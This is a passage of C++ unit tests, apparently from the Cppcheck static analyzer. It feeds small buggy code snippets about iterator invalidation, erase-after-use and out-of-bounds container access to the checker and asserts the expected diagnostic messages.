ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" 